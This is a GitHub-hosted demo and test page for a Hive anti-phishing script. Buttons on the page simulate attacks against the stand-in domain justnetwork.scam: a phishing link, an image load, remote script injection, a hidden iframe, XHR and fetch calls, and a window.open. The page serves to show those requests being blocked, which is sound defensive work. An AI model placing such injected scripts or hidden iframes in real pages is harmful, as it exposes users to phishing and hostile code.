-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathindex.html
174 lines (161 loc) · 7.24 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
<!DOCTYPE html>
<html>
<head>
<!-- <script src="./myscript.js"></script> -->
<script src="/hive/scripts/universal-bridge-against-phishing.js"></script>
<script>
window.grantCorsToken = ({ force = false } = {}) => {
if (!force && localStorage.getItem('corsToken')) return;
const isOk = confirm('Please on "https://cors-anywhere.herokuapp.com/corsdemo" click on "Request temporary access" in order to proceed. Opening it..');
if (isOk) {
localStorage.setItem('corsToken', Date.now());
window.open('https://cors-anywhere.herokuapp.com/corsdemo', '_blank');
setTimeout(window.location.reload, 10 * 1000);
}
};
window.grantCorsToken();
</script>
</head>
<body style="padding: 20px; background-image: url('https://files.123freevectors.com/wp-content/original/4703-turquoise-blurry-background.jpg');background-repeat: no-repeat; background-attachment: fixed; background-size: cover;">
<div>
<h2>DEMO PAGE for article: <sub> <sub><a href="https://peakd.com/@keys-defender/phishing-on-hive-no-more-solution-for-all-frontends">https://peakd.com/@keys-defender/phishing-on-hive-no-more-solution-for-all-frontends</a></sub></sub></h2>
<br>
<center style="border: thin solid black; width: 300px; margin: auto;padding: 5px;">
<h4>Known phishing domains:</h4>
<a href="https://spaminator.me/api/p/domains.json">https://spaminator.me/api/p/domains.json</a>
<br><br><sub>List maintaned by <a href="https://peakd.com/@spaminator">@spaminator</a></sub>
<br>
</center><br>
</div>
<div>
<h4>ANTI-PHISHING script:</h4><br>
<div style="margin: auto; text-align: center;">
Original:
<a href="/hive/scripts/universal-bridge-against-phishing.js">
https://keys-defender.github.io/scripts/universal-bridge-against-phishing.js
</a>
<br>
Transpiled and minified JS:
<a href="/hive/scripts/universal-bridge-against-phishing.min.js">
https://keys-defender.github.io/hive/scripts/universal-bridge-against-phishing.min.js
</a>
</div>
</div>
<br><h4>TESTS:</h4>
<i> Note: open the DevTools Console and the Network tab to observe the anti-phishing behavior.</i>
<br><br>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:130px;padding:10px;width: 800px;">
<b>Phishing link:</b>
<div style="float:right;margin: 10px 30px">
<img
src="https://images.hive.blog/DQmYeod4HKRenTmXYBZjqRNBgsHJ2BQPhA84KC2mwCteDMf/image.png"
width="300px"
style="border:thin solid grey"
>
</div>
<br><br><a href="https://justnetwork.scam/claim.php">Claim your million dollar tokens</a>
<br><br> <center>
Expected result on click:</center>
</div>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:90px;padding:10px;width: 800px;">
<div style="float: right;margin: 25px 20px;"><img src="https://justnetwork.scam" alt="phishing image not sanitized"></div>
<b>Phishing image:</b><br><p style="margin-top: 5px;">(e.g. pic saying "visit justnetwork.scam to claim your tokens!")</p>
<textarea style="width: 280px; height: 20px;" disabled><img src="https://justnetwork.scam"></textarea>
Result on page load:
</div>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:120px;padding:10px;width: 800px;">
<script>
const injectMaliciousScript = () => {
const script = document.createElement('script');
script.src = 'https://justnetwork.scam';
document.body.appendChild(script);
};
</script>
<b>Script:</b><br>
<button onclick="injectMaliciousScript()" style="margin-top: 5px;">Inject malicious script</button>
Expected result on button click:
<div style="float:right;margin: 5px 30px">
<img
src="https://images.hive.blog/DQmfCRL8iSG8ctbzVUFydTnJji7pnd2dQkpyBg7Co7peV6q/image.png"
width="300px"
style="border:thin solid grey"
>
</div>
</div>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:140px;padding:10px;width: 800px;">
<script>
const injectMaliciousIframe = () => {
const iframe = document.createElement('iframe');
iframe.src = 'https://justnetwork.scam/iframe.html';
iframe.style.visibility = 'hidden';
document.body.appendChild(iframe);
};
</script>
<b>Iframe:</b><br>
<div style="float:right;margin: -20px 30px">
<img
src="https://images.hive.blog/DQmUjjL77FNn92VgHwxXHPWBS1L3oWnsE4pakYb73iJ4i75/image.png"
width="300px"
style="border:thin solid grey"
>
<br><i><sub>right click and select "open image in new tab" to zoom</sub></i>
</div>
<button onclick="injectMaliciousIframe()" style="margin-top: 5px;">Add malicious iframe</button>
Expected result on button click:
</div>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:90px;padding:10px;width: 800px;">
<b>XHR (XML HTTP Request)</b>
<script>
const sendShadyReq = () => {
var oReq = new XMLHttpRequest();
oReq.open('GET', 'https://justnetwork.scam/tracking.js');
oReq.send();
};
</script>
<div style="float:right;margin: 5px 30px"><br>
<img
src="https://images.hive.blog/DQmPfFhHr53jwwkHupz5CL7smrwB53MwhUqkP1R9evwLBRg/image.png"
width="300px"
style="border:thin solid grey"
>
</div>
<br><button onclick="sendShadyReq()" style="margin-top: 10px;">Execute malicious XHR request</button>
Expected result on button click:
</div>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:120px;padding:10px;width: 800px;">
<b>Fetch API</b>
<script>
const sendShadyFetch = () => {
window.fetch('https://justnetwork.scam/tracking.js').then(res => res.text());
};
</script>
<div style="float:right;margin: 5px 30px">
<img
src="https://images.hive.blog/DQmSYzMEiR2hgf8QKaPaBFcJU3PExwNKM6QAQrGgAQBzyfC/image.png"
width="300px"
style="border:thin solid grey"
>
</div>
<br><button onclick="sendShadyFetch()" style="margin-top: 10px;">Execute malicious Fetch request</button>
Expected result on button click:
</div>
<div style="margin:10px auto;border:thin solid grey;border-radius: 20px;height:120px;padding:10px;width: 800px;">
<b>Window open</b>
<script>
const openShadyPage = () => {
window.open('https://justnetwork.scam/keychain.html', '_blank');
};
</script>
<div style="float:right;margin: 5px 30px">
<img
src="https://images.hive.blog/DQmaHyGFoeZq5B5khGLXFedXrrS9TCv2xcygfLWvApu5AX6/image.png"
width="300px"
style="border:thin solid grey"
>
</div>
<br><button onclick="openShadyPage()" style="margin-top: 10px;">Execute malicious open request</button>
Expected result on button click:
</div>
<footer><sub><sub>v0.1.1</sub></sub></footer>
</body>
</html>